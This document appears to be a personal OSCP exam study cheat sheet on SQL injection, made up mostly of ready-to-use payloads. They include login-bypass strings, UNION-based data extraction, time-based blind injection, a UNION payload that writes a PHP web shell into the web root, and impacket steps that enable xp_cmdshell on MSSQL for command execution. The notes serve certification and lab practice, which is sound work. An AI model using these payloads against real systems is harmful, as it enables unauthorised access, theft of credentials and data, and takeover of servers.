OSCP Notes: SQL Injection Cheat Sheet

' --> this is the indacator that you can do the attack

This is probably the better explanation of SQL injections, but this is what you're doing within the database:

This is called an error-based payload. Within that PHP code, we can use an OR statement.

SELECT * FROM users WHERE id = <user input>;

admin' OR '1=1'

Think of it that way. This can be tested in Burp Suite. Also, this can be done by sending the page to intruder, then under sniper attack, you can use these here from payloads, all the things, or seclists:

Software to look out for these attacks: MySQL, Oracle, PostgreSQL, and Microsoft SQL Server. Also, maybe more, but MySQL is the big one I seen so far.

Union base attacks are different. a technique where an attacker abuses the SQL UNION operator to combine the results of the original query with additional, attacker‑controlled queries. How the union base works:

[User Input]
   ↓
Application (vulnerable)
   ↓
SQL Query Sent to DB:
   SELECT id, title FROM posts WHERE id = <input>;

Attacker Manipulates Input:
   <input>  →  closes query + adds UNION clause

DB Executes:
   SELECT id, title FROM posts WHERE id = 1
   UNION
   SELECT id, email FROM users;

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

Portswigger explains it better, but the goal here is to use the union operator. These would be basic payloads:

' order by 1-- -
cn' UNION select 1,2,3-- -
cn' UNION select 1,@@version,3,4-- -
UNION select username, 2, 3, 4 from passwords-- -

Depending on the software, use payload for all things:

Blind injections are like LFI’s, except you're using the payload in the = sign:

http://$target/some.php?user=admin

http://$target/some.php?user=admin' AND 1=1 -- //
http://$target/some.php?user=admin' AND IF (1=1, sleep(3),'false') -- //

Use the blind list for SQL injection.

Tips for enumerating SQL from what I learn:

for mysql

mysql -u root -p'root' -h $target -P 3306 --skip-ssl-verify-server-cert
select version; (sometimes)
show databases;
select (database);
show tables;
use (table);

or quick one for all of that: SELECT (database), authentication_string FROM (table) WHERE user = '(user)'; 


if you get a svc_mssql account too, you can get the rce with impacket:
impacket-mssqlclient svc_mssql:(password)@$target -windows-auth
SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM (database).information_schema.tables;
select * from (table);

rce:
impacket-mssqlclient svc_mssql:(password)@$target -windows-auth
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';

Then for classic payloads, send page to repeater to test or for brute force 
send it to intruder on burp

admin' or '1'='1
admin')-- -
admin’OR ‘’ = ‘

Union based rce:
1' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php'-- -

I really had to dig for this one:
# regex replace as many as you can with your fuzzer for best results:
# <user-fieldname> <pass-fieldname> <username>
# also try to brute force a list of possible usernames, including possile admin acct names
<username>' OR 1=1--
'OR '' = ' Allows authentication without a valid username.
<username>'--
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
'OR 1=1-- 

Manual fuzzing:

Really look at GitHub; it helps with SQL injection fuzzing.

Here are a few videos for the SQLi to RCE. Also, for a quick win for Postgres:

You only need to change the lhost. Also, if you use SQL injection in Python to achieve RCE, that is allowed.

Here’s how its also done in Burp:

Both TryHackMe and HackTheBox are great for practicing the concept, but it's not that bad. Something to look out for.

Also, more links to help you with your studies. Also, I really had to dig for the older seclist repo, thank god for the Wayback Machine:

Another great link too:

Skip to 34:58 as well to go over concpets too.